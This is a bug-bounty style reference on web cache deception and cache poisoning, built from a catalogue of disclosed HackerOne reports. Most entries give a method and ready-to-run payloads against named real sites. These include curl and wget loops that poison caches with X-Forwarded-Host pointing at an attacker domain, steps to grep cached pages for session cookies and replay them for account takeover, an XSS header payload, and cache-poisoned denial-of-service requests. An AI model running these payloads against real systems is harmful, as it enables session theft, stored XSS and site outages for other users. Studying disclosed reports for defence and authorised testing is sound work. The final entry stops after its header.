A shared cache (CDN, edge, reverse proxy) stores one response and hands it to everyone whose request maps to the same cache key. The key is a subset of the request — usually method + host + path, and maybe a few headers/params. Everything the origin actually uses to build the response but the cache doesn't key on is an unkeyed input, and every web-cache bug is that same disagreement: the cache thinks two requests are equivalent when the origin would answer them differently.
Two families fall out of this. Web Cache Deception (WCD) tricks the cache into storing a victim's personalized/authenticated response under a key the attacker can fetch — so session cookies, PII, and CSRF tokens leak to anyone. Web Cache Poisoning (WCP) injects an attacker-controlled value through an unkeyed input into a shared key, so the poisoned response (stored XSS, open redirect, or an error page — CPDoS) is served to every subsequent user. WCD reads secrets out; WCP writes attacker content in.
# Cache tells — send twice, second should HIT
curl -sD- -o /dev/null 'https://TARGET/path?cb=UNIQ'
curl -sD- -o /dev/null 'https://TARGET/path?cb=UNIQ' | grep -iE 'x-cache|cf-cache|age:'
Append a fake filename with a cached extension to an authenticated page. The origin ignores the extra path segment and renders the personalized page; the edge caches it as static.css.
# 1) victim (authenticated) is lured to open:
https://TARGET/account/profile/x.css
# 2) attacker fetches the cached copy with NO cookies:
curl -s 'https://TARGET/account/profile/x.css' | grep -Ei 'csrf|email|session|username'
The escalation from info-leak to account takeover is which string you grep for. A cached email is a leak; a cached session cookie or CSRF token is an ATO. Always search the cached response for both.
# a reflected session token in the cached HTML → cookie replay → ATO
curl -s 'https://TARGET/search/.../minNightlyPrice/x.jpeg?cb=1' --compressed | grep -i 'SESSION'
# then replay it:
curl -s 'https://TARGET/account/edit' -H 'Cookie: SESSION=<stolen>'
HTTP/1.1 200 OK
Cache-Control: public
Set-Cookie: _session_id=<VICTIM_SESSION>; path=/
# a caching proxy stores and replays this Set-Cookie to the next visitor
GET /path?cb=UNIQ HTTP/1.1
Host: TARGET
X-Forwarded-Host: COLLAB
X-Forwarded-Scheme: nothttps
X-Forwarded-Port: 1
# grep the response for COLLAB / port 1 in <script src>, <link href>, or Location:
# loop until the poison is stored under the buster key, then confirm:
while true; do wget "https://TARGET/?cb=UNIQ" --header 'X-Forwarded-Host: COLLAB/#' -qO- >/dev/null; done
wget "https://TARGET/?cb=UNIQ" -qO- | grep COLLAB # trailing /# neutralizes the rest of the URL
When the edge and origin canonicalize a path differently, one collapses a character the other rejects — so a 404/error gets stored under a valid asset's key (self-inflicted denial of service). Diff how each side handles backslash-vs-slash, trailing dot, case, encoded chars, port.
GET /static\javascripts\vendor\app.min.js?cb=UNIQ HTTP/1.1
Host: cdn.TARGET.com
Connection: close
# edge rewrites \ → / (keys on the real asset) but origin 404s the backslash path
# → the 404 is cached under the legit JS bundle's key
Edge and origin disagree on a request modifier, caching an empty or error body under a GET key. X-HTTP-Method-Override: HEAD caches an empty-body 200; PURGE, the trailer header, or vendor headers like X-CF-APP-INSTANCE force a cached 4xx.
GET /app.js?cb=UNIQ HTTP/1.1
Host: TARGET
X-HTTP-Method-Override: HEAD
# origin serves empty body; edge caches it under the GET key → asset breaks for all users
GET /api/data HTTP/1.1
Host: TARGET
Origin: https://COLLAB
# response: Access-Control-Allow-Origin: https://COLLAB ← cached and cross-served
Cache bugs are hubs, not endpoints — the leaked/poisoned primitive chains into whatever the reflected value can reach:
The techniques above are the general method. Below, each disclosed HackerOne report is a catalogued example — concrete payload, outcome, and matching practice lab. 36 in this class.
Real-world example
Web cache deception to account takeover via session token reflected on cacheable page
◆ High
Specimen #1698316 · expediagroup_bbp · awarded · 158 votes · resolved
Program expediagroup_bbpSurface webChain WCD path confusion -> cached session token -> cookie rTag account-takeover
Root cause
An authenticated page reflected the user's session cookie (HASESSIONV3) into its HTML body, and the edge cached responses purely on the static file extension in the path. Luring a victim to a .jpeg-suffixed variant of that page caches their session token, which the attacker then retrieves anonymously.
Method
- Find an authenticated response that reflects a session token / CSRF crumb in the body.
- Append a static-looking extension via path confusion to make the edge treat the response as cacheable (e.g. .../minNightlyPrice/x.jpeg?triagethis).
- Lure the authenticated victim to open that URL so their token is cached.
- From any other browser/IP served by the same cache, fetch the same URL and grep the response for the session token, then reuse it.
# victim opens (authenticated):
https://www.abritel.fr/search/keywords:soissons-france-(xss)/minNightlyPrice/x.jpeg?triagethis
# attacker fetches the cached copy:
curl 'https://www.abritel.fr/search/keywords:soissons-france-(xss)/minNightlyPrice/x.jpeg?triagethis' --compressed | grep -i 'HASESSIONV3'
# then replay the stolen cookie:
GET /traveler/profile/edit HTTP/2
Host: www.abritel.fr
Cookie: HASESSIONV3=<stolen token>
Insight — WCD escalates from info-leak to full ATO whenever the cached page reflects a live session token or auth crumb. Always grep cached WCD responses for cookies/CSRF tokens, not just PII. 200 OK responses cache longest, so aim for endpoints that return 200 with the token in-body.
Real-world example
x-http-method-override + PURGE cache poisoning -> empty JS/CSS on CDN
◆ High
Specimen #1160407 · gitlab · awarded · 83 votes · resolved
Program gitlabSurface webTag cloud-gcp
Root cause
The GCP-backed CDN honors x-http-method-override: HEAD (returning an empty body) while Varnish does not include that header in the cache key, so the empty response is cached and served to normal GETs; unauthenticated PURGE lets an attacker clear real cached files and re-poison them.
Method
- Pick a cached JS/CSS asset (confirm X-Cache: HIT)
- Send GET ...?cb=x with x-http-method-override: HEAD -> empty response, now cached
- Confirm normal GET of that URL returns empty; use PURGE to evict/repoison live files
- Missing JS/CSS makes the app unusable
GET /assets/webpack/....chunk.js?cb=x HTTP/1.1
Host: assets.gitlab-static.net
x-http-method-override: HEAD
Insight — Method-override headers and permitted PURGE/HEAD verbs are underrated cache-poisoning inputs: they can cache an empty 200. Test x-http-method-override, and check whether PURGE is unauthenticated (lets you poison live, already-cached files).
Real-world example
Cacheable response carrying Set-Cookie leaks sessions across users
◆ High
Specimen #3082917 · ibb · USD 4323 · 82 votes · resolved
Program ibbSurface webChain cacheable blob response with Set-Cookie -> proxy caches s
Root cause
Rails Active Storage served blobs with both a Set-Cookie (user session) and Cache-Control: public (CVE-2024-26144); a shared caching proxy stores the response including the session cookie and later serves it to unrelated users, disclosing the original user's session.
Method
- Find responses that are both cacheable (Cache-Control: public / no Vary on cookie) and set a session cookie (Active Storage blob URLs, avatar/file endpoints)
- Request the resource as an authenticated user through the shared cache
- Fetch the same URL as an unrelated/anon user; check whether the cached Set-Cookie returns the first user's session
- If so, session hijack the original user
# tell-tale response headers on a blob/file endpoint
HTTP/1.1 200 OK
Cache-Control: public
Set-Cookie: _session_id=<VICTIM_SESSION>; ...
# a caching proxy stores and replays Set-Cookie to other users
Insight — Audit for the dangerous combo Set-Cookie + Cache-Control: public (and missing Vary) on any file/blob/avatar route - CDNs and proxies will cache and cross-serve the session cookie. This is a framework-level class (check Active Storage versions >=5.2.0 <7.1.0).
Real-world example
HTTP header-count overflow bypasses cache-key eval and WAF
◆ High
Specimen #3027461 · cloudflare · awarded · 74 votes · resolved
Program cloudflareSurface webChain header overflow -> cache-key bypass -> web cache poisoTag cors
Root cause
The edge (openresty Front Line) parses at most ~100 request headers including internal ones; once a request exceeds ~94 attacker headers, subsequent keyed headers are dropped from cache-key evaluation and WAF rules stop seeing later headers, so a keyed/malicious header slips through unkeyed and uninspected.
Method
- Send a request padded with 94+ junk headers
- After the overflow, append a header that is normally part of the cache key (e.g. X-HTTP-Method-Override) or one carrying an XSS/attack payload (User-Agent)
- Cache Rules / custom + default cache keys and WAF managed rules no longer evaluate the trailing header
- Poison the cache so the malicious/incorrect response is served to other users, or reach origin uninspected
GET /path HTTP/1.1
Host: victim.com
1: 1
1: 1
... (>=94 padding headers) ...
1: 1
User-Agent: </script><svg onload=alert(1)>
Insight — Header/parameter parser limits are a differential-analysis goldmine: if a security layer and the cache/origin disagree on how many headers get parsed, pad past the limit to smuggle an unkeyed or uninspected header. Watch for http.request.headers.truncated as a tell.
Real-world example
Cache-poisoned DoS (CPDoS) via oversized/malformed request
◆ High
Specimen #1183263 · deptofdefense · none · 36 votes · resolved
Program deptofdefenseSurface web
Root cause
A caching layer stores the response to a malformed/oversized request (e.g. an enormous header value producing an error/oversized response) under a normal cache key, then serves that broken response to all subsequent users of that key.
Method
- Add a cache-buster to the path to isolate a cache key
- Send a request with a malformed/huge header value that yields an error or oversized response
- Confirm the response is cached (X-Cache / repeated identical response)
- Request the same resource normally and observe the poisoned/broken response served to everyone
GET /page?cb=1 HTTP/1.1
Host: www.target
yeetheadertest1: AAAAAAAA...(thousands of A's to force an error/oversized response)...
Insight — Test caches by forcing an error or oversized response and checking if it gets cached. Remediation is to never cache error status codes. Complements keyed-header poisoning (see 1010858).
Real-world example
CPDoS via X-CF-APP-INSTANCE header forcing cached 404
◆ High
Specimen #728664 · gsa_bbp · awarded · 25 votes · resolved
Program gsa_bbpSurface webTag cloud-aws
Root cause
A Cloud Foundry gorouter debug header (X-CF-APP-INSTANCE) with a bad value forces a 404, and if the app sits behind a caching CDN that caches error responses, the poisoned 404 is served to other users (Cache-Poisoned DoS).
Method
- Pick a cacheable resource on a CDN-fronted app; add a cache-buster query (?cb=xxx)
- Send a request with a malformed X-CF-APP-INSTANCE header to force a gorouter 404
- Repeat until the CDN caches the 404
- Confirm as an uncookied/new user (private window or curl) that the resource now returns 404
GET /?cb=xxx HTTP/1.1
Host: TARGET
X-CF-APP-INSTANCE: xxx:1
Connection: close
Insight — Any request header that reliably triggers an error status can become a DoS when the front cache stores error responses; test provider-specific debug/routing headers (X-CF-APP-INSTANCE, X-Amz-*, oversized headers) and check whether 4xx get cached and keyed only on URL, not cookies.
Real-world example
Web cache poisoning via unkeyed X-Forwarded-Host
◆ High
Specimen #429747 · nextcloud · none · 25 votes · resolved
Program nextcloudSurface webChain unkeyed header reflection -> cache poisoning -> stored
Root cause
X-Forwarded-Host is reflected into responses but is not part of the cache key (unkeyed input). An attacker can poison a cached page so it points resource URLs at an attacker-controlled host, enabling stored XSS / malware delivery to all subsequent visitors.
Method
- Pick a URL with a cache-buster query param
- Repeatedly request it with X-Forwarded-Host: attacker.tld/# until cached
- Fetch the URL normally and grep for the attacker host in the response to confirm the poison
while true; do wget "https://help.nextcloud.com/?qwKzzSR=649227948379" --header 'X-Forwarded-Host: cyberjutsu.io/#' -qO- >/dev/null; done
# confirm:
wget "https://help.nextcloud.com/?qwKzzSR=649227948379" -qO- | grep cyberjutsu.io
Insight — Send X-Forwarded-Host / X-Forwarded-Scheme / X-Host and check if the value is reflected AND cached without being in the cache key. Use a unique query param as a private cache-buster so you poison your own key first while testing.
Real-world example
Cached infinite redirect loop -> persistent DoS via crafted path
◆ High
Specimen #291012 · owox · none · 18 votes · resolved
Program owoxSurface web
Root cause
A crafted URL (double-slash + encoded traversal) triggers a server-side 301 that keeps appending a trailing slash, producing an infinite redirect loop; because the redirect is cached/served to everyone, the whole site becomes inaccessible.
Method
- Request the site with //host-like path + encoded traversal (%2e%2e%2f)
- Server responds 301 to a URL that will itself 301 again (loop)
- Response is cached -> all subsequent visitors hit the loop -> DoS
GET http://my.dev.owox.com//www.google.com/%2e%2e%2f
-> 301 Location: //www.google.com/%2e%2e%2f/ (loops)
Insight — Path-normalization + redirect logic that re-appends slashes can create self-referential 301s; if a shared cache/proxy stores it, one request denies service to everyone. Test normalization edge cases (//, /%2e%2e%2f, encoded traversal) and whether the bad response is cached.
Real-world example
Cache-key confusion via URL userinfo decoding (Squid poisoning)
◆ High
Specimen #824753 · ibb · awarded · 14 votes · resolved
Program ibbSurface otherChain encoded userinfo -> shared cache key -> attacker conte
Root cause
Squid URL-decoded the userinfo portion (before @) and included the decoded string in the absolute URL used to build the cache key, so two requests for different real hosts could produce the same key - letting an attacker's server response be cached and served for a trusted domain.
Method
- Run a request whose userinfo encodes delimiters so it decodes to the victim URL, pointing the real host at your server
- Your response is cached under the victim's effective key
- A genuine request for the victim domain hits the poisoned cache entry (X-Cache: HIT)
GET ftp://hackerone.com%2f%3f@192.168.122.1:8080/payload HTTP/1.1
# later real: GET ftp://hackerone.com/?@192.168.122.1:8080/payload -> HIT
# HTTPS variant: GET https://hackerone.com%2f%3f@ATTACKER:8080/html/alert.html
Insight — Cache-key generation that decodes/normalizes URL parts (userinfo, %2f, %3f, #) differently from routing is a poisoning primitive; craft userinfo whose decoded form collides with the target's key. Test proxies/CDNs for encoded-delimiter cache-key confusion.
Real-world example
CPDoS: unkeyed Host-header port poisons cached 301
◆ High
Specimen #1322732 · deptofdefense · none · 11 votes · resolved
Program deptofdefenseSurface web
Root cause
The cache stores a 301 redirect that reflects an attacker-supplied port from the Host header; because the port is unkeyed, a poisoned redirect is served to all users of that path, and a cache-buster query param lets the attacker poison arbitrary paths -> persistent DoS.
Method
- Add a unique cache-buster param to a cacheable URL (e.g. &CPDoS=1)
- Send the request with a bogus port appended to the Host header (Host: victim:1234)
- The 301 reflects and caches the bad port; remove the port and resend -> still reflected = poisoned; the path now fails to load for everyone
- Loop with Intruder to keep re-poisoning after TTL
GET /somepath?CPDoS=1 HTTP/1.1
Host: TARGET:1234
# response is a 301 reflecting :1234, cached and served to all users
Insight — Web-cache-poisoning DoS: find inputs the cache doesn't key on but the origin reflects (Host/port, X-Forwarded-Host/-Scheme/-Port). 301/redirect responses reflecting the Host are prime; add a unique query param to safely poison a single path during testing, then generalize. Re-test old fixes that only patched one path.
Real-world example
Cache-poisoned DoS via unkeyed Host header/port reflected in a 301
◆ High
Specimen #1198434 · deptofdefense · none · 7 votes · resolved
Program deptofdefenseSurface webChain host-header reflection -> web cache poisoning -> denia
Root cause
An origin reflects the Host header (domain/port) into a 301 redirect, and the cache stores that response keyed only by path; injecting a bogus port poisons the cached redirect so every user hitting that path is redirected to a dead host:port - CPDoS.
Method
- Find a path that 301-redirects and reflects the Host/port in the Location
- Send the request with an added random URL param (to scope the poison to that path) and a bogus port in the Host header
- Server 301s reflecting the bad port; resend to confirm the cache now serves the poisoned redirect to everyone
- Drop the random param to poison the bare path
GET /somepath?CPDoS=1 HTTP/1.1
Host: www.TARGET:1234
# response 301 reflects port 1234 in Location; once cached, all users get the dead redirect
Insight — During SSRF/host-header testing watch for the Host (or X-Forwarded-Host/-Port/-Scheme) leaking into a cached response. If the cache key excludes that header, you have web-cache-poisoning DoS. Scope experiments to a throwaway ?param path first so you can test responsibly before hitting the bare route.
Real-world example
Cache-poisoning DoS via malformed Transfer-Encoding
◆ Medium
Specimen #622122 · paypal · 9700 · 850 votes · resolved
Program paypalSurface web
Root cause
An unkeyed request feature (invalid Transfer-Encoding header) causes the origin/CDN to cache an error response ('501 Not Implemented') in place of legitimate JavaScript, denying it to all users.
Method
- Identify a cached static asset (JS from a CDN host like paypalobjects.com)
- Send a request with an invalid Transfer-Encoding header that the origin errors on but the cache still stores
- Confirm the cached 501 is served to normal requests for that asset
GET /js/app.js HTTP/1.1
Host: www.paypalobjects.com
Transfer-Encoding: invalid
Insight — Any header that changes the origin response but is NOT part of the cache key is a cache-poisoning DoS primitive. Malformed hop-by-hop headers (Transfer-Encoding) reliably force error responses that then get cached and starve real content.
Real-world example
CORS cache poisoning DoS (Origin reflected into ACAO)
◆ Medium
Specimen #591302 · automattic · awarded · 405 votes · resolved
Program automatticSurface webTag cors
Root cause
WP-JSON echoes the request Origin into Access-Control-Allow-Origin, and the CDN caches that response without keying on Origin. The poisoned ACAO (attacker's origin) is served to real cross-origin consumers, whose browsers then block the response -> CORS-based DoS.
Method
- Confirm the JSON endpoint reflects Origin into ACAO and is cached (X-Cache: hit)
- From any HTTPS page, fetch the endpoint 5-10 times to poison all cache backends
- From a different origin, fetch again and observe the browser CORS error blocking the response
fetch('https://TARGET/wp-json/?cachebuster1').then(r=>r.json())
// sent with Origin: https://attacker.example so ACAO is poisoned to attacker's origin
Insight — Reflected-Origin CORS + shared cache = DoS for any legitimate cross-origin (subdomain/headless) consumer. Detect by sending an Origin header and checking if it appears in a cacheable ACAO response.
Real-world example
CDN cache poisoning DoS via backslash/forward-slash normalization mismatch
◆ Medium
Specimen #1695604 · shopify · USD 3800 · 264 votes · resolved
Program shopifySurface webTag cdn
Root cause
The cache layer normalizes backslashes to forward slashes when computing the cache key, but the origin serves 404 for paths containing backslashes. The two systems therefore agree on the cache key but disagree on the response, so a 404 gets stored under the legitimate asset's key.
Method
- Pick any cached static asset URL on the CDN (e.g. a JS bundle on cdn.shopify.com).
- Replace the forward slashes in the path with backslashes and append a cache-buster query param so testing does not DoS real users.
- Send the malformed request repeatedly (Repeater/Intruder) until the 404 response is cached under that key.
- Request the normal URL (with the same cache-buster) and observe the cached 404 served instead of the asset.
GET /static\javascripts\vendor\bugsnag.v7.4.0.min.js?cachebuster=123 HTTP/1.1
Host: cdn.shopify.com
Connection: close
Insight — When a cache and origin disagree on path normalization (backslash vs slash, trailing dot, case, encoded chars), you can cache an error page under a valid resource's key for a self-inflicted DoS. Diff how the edge vs origin canonicalize the path; any char one collapses and the other rejects is a poisoning primitive.
Real-world example
X-Forwarded-Port/Host cache poisoning to dead port
◆ Medium
Specimen #409370 · security · 2500 · 253 votes · resolved
Program securitySurface web
Root cause
The app builds redirect Location URLs from unkeyed X-Forwarded-Port/X-Forwarded-Host headers; poisoning the cache with a bad port makes every redirect point to a dead port, persistently blocking access.
Method
- Find a cached endpoint that issues a redirect
- Send a request with X-Forwarded-Port set to a closed port (or X-Forwarded-Host: host:badport)
- Load the URL normally and observe the cached redirect to the dead port
curl -H 'X-Forwarded-Port: 123' 'https://TARGET/index.php?cb=1'
curl -H 'X-Forwarded-Host: TARGET:123' 'https://TARGET/index.php?cb=1'
Insight — X-Forwarded-* headers are classic unkeyed cache-poisoning inputs. If they influence redirect targets or absolute URLs, a bad port/host is a persistent availability kill. Always test them with a cache-buster first.
Real-world example
Cache poisoning at scale via unkeyed header -> cached redirect/error on static files
◆ Medium
Specimen #1181946 · security · awarded · 228 votes · resolved
Program securitySurface webTag cloud-azure
Root cause
An unkeyed header (x-forwarded-scheme) makes the origin emit a 301 redirect loop that Cloudflare caches for a static JS/CSS/image file; the poisoned entry is served to everyone, taking down assets and any page that depends on them.
Method
- Pick a cached static asset (append ?cb=poc cache-buster)
- Send GET with x-forwarded-scheme: http and observe a 301 to the same URL
- Remove the header and confirm the cached 301/redirect-loop is now served
- On the real file (no cache-buster) this makes the asset permanently unavailable
GET /assets/static/js/8.9572d249.chunk.js?hackerone=poc HTTP/2
Host: hackerone.com
x-forwarded-scheme: http
Insight — Behind CDNs, protocol/scheme headers (x-forwarded-scheme, x-forwarded-proto) frequently trigger cacheable redirects. Taking down one shared JS chunk = total loss of availability. Enumerate every unkeyed header against cached assets.
Real-world example
Host-header port cache poisoning -> broken assets DoS
◆ Medium
Specimen #1096609 · shopify · 2900 · 81 votes · resolved
Program shopifySurface web
Root cause
The app reflects the Host header (including an arbitrary port) into cached absolute URLs (canonical link, asset/link hrefs); poisoning the cache with a closed port makes all those URLs point to a dead port, so images/CSS/links fail to load.
Method
- Request a cached page with Host set to host:closedport (use a query cache-buster while testing)
- Confirm the response body reflects host:closedport in canonical/asset URLs
- Fetch the page normally and observe the poisoned port served to everyone -> broken page
curl -ik 'https://themes.shopify.com/?cb=1' -H 'Host: themes.shopify.com:1337'
Insight — When Host (with port) is reflected into absolute URLs that get cached, a bad port is a persistent asset/link DoS. Related to X-Forwarded-* port poisoning; always test the raw Host header too, not just XF headers.
Real-world example
Cache-poisoning DoS via unkeyed 'trailer' header forcing a cached 400
◆ Medium
Specimen #1219038 · rockstargames · awarded · 77 votes · resolved
Program rockstargamesSurface web
Root cause
An unkeyed request header (trailer) makes the origin return a 400 while the CDN caches that error response against the normal cache key, so subsequent legitimate users are served the cached 400 (denial of service).
Method
- Add a cache-buster query param to target a specific cached URL
- Send the request with the malformed/unkeyed header 'trailer: 1' to trigger a 400
- The CDN caches the 400 under the URL key
- Legit users requesting that URL now get the poisoned 400
GET /patches/.../notes.txt?donotpoisoneveryone=1 HTTP/1.1
Host: updates.rockstargames.com
trailer: 1
Insight — Hunt cache-poisoning DoS by fuzzing unkeyed headers (X-Forwarded-Host/-Scheme, trailer, oversized/odd headers) that make the origin error, then confirm the error is cached under the shared key. Use a unique cache-buster to avoid poisoning real users during testing.
Real-world example
Web cache deception via static-extension path on authenticated page
◆ Medium
Specimen #631589 · lyst · awarded · 45 votes · resolved
Program lystSurface webChain cache deception -> PII/session data disclosure (email, meTag account-takeover
Root cause
Appending a static-looking extension (e.g. .css) to an authenticated URL made the CDN/cache treat the personalized (logged-in) response as a cacheable static asset, storing a victim's PII/session-reflected page for any unauthenticated visitor to retrieve.
Method
- As a logged-in victim, request an authenticated page with a static extension appended to the path
- The cache stores the personalized response keyed on the static-looking URL
- As an unauthenticated attacker (even in private mode) request the same URL and read the victim's data
https://TARGET/shop/trends/mens-dress-shoes/anything.css
# personalized (logged-in) HTML gets cached and served to others
Insight — Test cache deception on any personalized page: append /nonexistent.css, .js, .jpg (and path-param variants). If the response still contains user data and is cached, unauthenticated users can harvest it. Check for missing/incorrect Cache-Control and cache-key normalization.
Real-world example
Web cache poisoning via unkeyed X-Forwarded-Host
◆ Medium
Specimen #504514 · smule · none · 39 votes · resolved
Program smuleSurface webChain unkeyed header reflection -> cache poisoning -> victimTag account-takeover
Root cause
The app reflected the X-Forwarded-Host header into generated action/footer/form links, and the cache did not key on that header, so a poisoned response (links rewritten to an attacker host) was cached and served to other users, redirecting their form posts (and CSRF tokens/credentials) to the attacker.
Method
- Send a request adding X-Forwarded-Host: attacker.tld and confirm the response's action/form/asset links now point to attacker.tld
- Confirm the poisoned response is cached (served to other clients on the same key)
- Host a server mimicking the endpoint's response/CORS so victim form posts deliver credentials/CSRF token to you
GET /s/smule_groups/user_groups/USER HTTP/1.1
Host: www.TARGET.com
X-Forwarded-Host: localhost # links in response rewritten to this host
Insight — Probe unkeyed headers (X-Forwarded-Host, X-Forwarded-Scheme, X-Host, X-Forwarded-For) for reflection into links/redirects/absolute URLs, then check cacheability. If reflected and cached, you poison other users' pages to steal CSRF tokens/credentials on login.
Real-world example
Bypassing Cloudflare Cache Deception Armor with .avif extension
◆ Medium
Specimen #1391635 · cloudflare · awarded · 36 votes · resolved
Program cloudflareSurface webTag cdn
Root cause
Cloudflare's Cache Deception Armor page rule (which is meant to only cache a URL when the origin Content-Type matches the extension) did not account for the .avif image extension, so a path-confused URL ending in .avif was cached even when the response was dynamic/sensitive.
Method
- Identify an origin behind Cloudflare with Cache Deception Armor enabled.
- Craft a path-confusion URL on a sensitive authenticated endpoint ending in a .avif extension.
- Lure an authenticated victim to open it so the edge caches their sensitive (normally non-cacheable) response.
- Retrieve the cached content from Cloudflare's edge anonymously.
https://TARGET/<authenticated-path>/<random>.avif
Insight — Protection layers that whitelist 'safe' static extensions lag behind new image/media formats. When a WCD armor blocks .css/.js/.png, retry newer or obscure extensions (.avif, .webp, .heic, .jxl, .woff2) that the rule's Content-Type map may not cover. Impact scales with what the customer origin reflects (session -> ATO, XSS -> stored XSS).
Real-world example
URL-encoded NUL in reflected param + oversized injection → poisoned cached JS → DoS
◆ Medium
Specimen #334709 · greenhouse · awarded · 32 votes · resolved
Program greenhouseSurface webChain %00 truncation → oversized reflected URI → CDN cache poisoni
Root cause
The 'for' parameter is copied verbatim into a generated, CDN-cached JS file; terminating the customer key with %00 lets an attacker append a very large arbitrary string that is propagated into boardURI/applicationURI. The oversized cached URIs then exceed the server's URL limit (ERR_CONNECTION_CLOSED), bricking the job board for all visitors from the poisoned cache.
Method
- Request the JS endpoint with for=<validkey>%00<thousands of padding chars>
- Injected NUL truncates the key server-side but the padding is still reflected into boardURI/applicationURI in the generated JS
- This JS is cached on the CDN; the poisoned applicationURI (~6155 bytes) makes the job-app iframe URL exceed the server limit → ERR_CONNECTION_CLOSED for every user loading the cached file
https://boards.greenhouse.io/embed/job_board/js?for=surveymonkey%00%00%00...%00654321 # %00 truncates key, padding poisons cached JS
Insight — A URL-encoded %00 can pass a length/format validator while later string handling truncates at the NUL, letting you smuggle extra bytes into a reflected value; combine with a shared cache to convert reflection into a persistent DoS. Watch reflected params that end up in cached, length-sensitive URLs.
Real-world example
Web cache poisoning via unkeyed X-Forwarded-* headers
◆ Medium
Specimen #1010858 · acronis · awarded · 29 votes · resolved
Program acronisSurface webChain Unkeyed header reflection -> cache poisoning -> DoS /
Root cause
The cache key excludes headers the origin actually reflects (X-Forwarded-Port, X-Forwarded-Url). Poisoning a response with these unkeyed inputs (using a unique cache-buster param first) makes the cache serve the malformed/injected response to all users of the real URL.
Method
- Add a unique cache-buster query param to isolate a key
- Send X-Forwarded-Port / X-Forwarded-Url with a poisoning value; confirm it's reflected (e.g. host:0 appears)
- Send the same request WITHOUT the buster/headers until the poisoned entry is stored on the real key
- Other users hitting the clean URL now receive the poisoned response
GET /path?cachebuster=1 HTTP/1.1
Host: www.target
X-Forwarded-Port: <injection>
X-Forwarded-Url: <injection>
# then replay clean GET /path to poison the shared key
Insight — Enumerate unkeyed inputs with Param Miner (X-Forwarded-Host/Port/Url/Scheme, etc.); if the origin reflects one that isn't in the cache key, you can poison. DoS at minimum, XSS/redirect if the reflection is exploitable.
Real-world example
Web cache poisoning via unkeyed Host header -> DoS
◆ Medium
Specimen #1346618 · gsa_vdp · none · 18 votes · resolved
Program gsa_vdpSurface web
Root cause
The cache keys on path/query but not on the Host header. A request with an attacker-controlled Host (here host:port) is reflected into the app's behavior and cached, so subsequent victims are served a response that forces the app to make requests to the attacker-supplied host:port - breaking the page for everyone hitting that cache key.
Method
- Find a cached page (X-Cache/age headers); pick a cache-buster query so you test without poisoning prod
- Send request with an injected Host header (e.g. Host: target:8888)
- Confirm the poisoned response is stored and served to normal visitors -> app tries to reach the bad host:port and breaks
curl 'https://TARGET/?letme=4447' -H 'Host: TARGET:8888'
# then GET https://TARGET/?letme=4447 as a victim -> DoS state
Insight — Classic cache-poisoning-to-DoS: probe unkeyed inputs (Host, X-Forwarded-Host/Port/Scheme, extra headers) and see if any get reflected into a cached response. If the app derives backend URLs/ports from Host, poisoning it breaks availability for all cache-key victims. Always use a cache-buster param while testing prod.
Real-world example
CORS cache poisoning: reflected+cached Access-Control-Allow-Origin breaks cross-origin clients
◆ Medium
Specimen #921704 · automattic · awarded · 17 votes · resolved
Program automatticSurface webTag cors
Root cause
WordPress wp-json reflects the request Origin into Access-Control-Allow-Origin, and the cache stores that response WITHOUT keying on Origin. Poisoning the cache with an attacker Origin means all later cross-origin consumers get an ACAO that does not match their origin -> browser blocks the response -> DoS for any headless/decoupled front-end relying on that CORS endpoint.
Method
- Confirm the endpoint reflects Origin into ACAO and is cached (X-Cache: hit)
- Send several fetches with an arbitrary Origin to seat the poisoned ACAO in cache
- A legit different-origin front-end now fails its CORS check on the cached response
fetch('https://TARGET/wp-json/').then(r=>r.json()) // from an arbitrary origin, repeat 5-10x to poison
Insight — When ACAO reflects Origin AND the response is cached unkeyed on Origin, you get an availability bug against decoupled/headless setups. Detection: reflect a junk Origin, look for X-Cache: hit, then verify a second origin gets the poisoned ACAO. Distinct from Host-header cache poisoning (#1346618) - here the unkeyed input is Origin.
Real-world example
Web cache deception via REQUEST_URI vs canonical path mismatch
◆ Medium
Specimen #241323 · automattic · awarded · 9 votes · resolved
Program automatticSurface webTag cors
Root cause
WooCommerce prevent_caching() decides whether to send no-cache headers by substring-matching $_SERVER[REQUEST_URI] against /cart//my-account//checkout/; prefixing the path with +, - or . defeats redirect_canonical and makes REQUEST_URI (/+my-account/) not match the needle (/my-account/), so the sensitive page is served cacheable.
Method
- Request the sensitive page with a canonical-defeating prefix: /+my-account/ , /-cart/ , /.checkout/
- redirect_canonical does not redirect these variants, but WordPress still resolves them to the real page
- prevent_caching()'s REQUEST_URI match fails -> no-cache headers omitted -> page cached by proxy/plugin
- Victim's cached personal page (cart/account) served to other users -> cache deception
GET https://TARGET/+my-account/ HTTP/1.1
GET https://TARGET/-cart/ HTTP/1.1
GET https://TARGET/.cart/ HTTP/1.1
Insight — When an app gates caching on the raw REQUEST_URI string, look for path variants (+ - . trailing slash, %2e, case) that resolve to the same page but dodge the exact-match cache guard. Compare cache headers between /page/ and /+page/.
Real-world example
CDN cache poisoning via unkeyed Accept-Version forcing 404
◆ Medium
Specimen #1025575 · nodejs-ecosystem · none · 8 votes · resolved
Program nodejs-ecosystemSurface web
Root cause
Fastify's always-on versioned routing returns 404 for any request carrying an Accept-Version header that no route matches, and the response omits a Vary: Accept-Version header. A fronting CDN/cache keys only on URL, so the poisoned 404 is served to all users of a valid URL.
Method
- Identify a Fastify app behind a CDN/cache (Fastly, Varnish) with no explicit Vary on Accept-Version.
- Request a legitimate, cacheable URL adding 'Accept-Version: <garbage>'.
- Server returns 404 for the otherwise-valid route; cache stores the 404 under the URL cache key.
- Subsequent normal users receive the cached 404 -> denial of service on live URLs.
curl -v -H 'Accept-Version: tada' http://target/valid-route
Insight — Hunt for request headers that change the response but are not part of the cache key (unkeyed inputs) AND are not listed in Vary. Framework 'features' (versioned routes, language negotiation, feature flags) are prime unkeyed-input sources for cache-poisoning DoS. Test by toggling a header and checking whether the error/variant response gets cached.
Real-world example
Non-user-scoped cache key leaks data across users
◆ Medium
Specimen #1767503 · nextcloud · none · 14 votes · resolved
Program nextcloudSurface web
Root cause
A server-side reference/preview cache uses a cachePrefix derived only from the resource id (boardId/cardId) and not from the requesting user, so a cached entry populated for an authorized user is served to any user who knows the id.
Method
- Authorized user views a resource, causing the reference provider to populate the shared cache
- Second user (who lacks direct access) requests the same resource id
- Cache hit returns the first user's data without an access check
Insight — Audit every cache key: it must include the identity/authorization scope of the requester (userId/tenantId), not just the object id. A compare against a correct implementation is gold: here integration_github used userId as prefix and was safe, while deck used only cardId and leaked. Look for cachePrefix/cacheKey construction in code review.
Real-world example
Cache poisoning of affiliate product via /../ path traversal in fetched URL
◆ Low
Specimen #1848940 · shopify · USD 500 · 82 votes · resolved
Program shopifySurface webTag cdn
Root cause
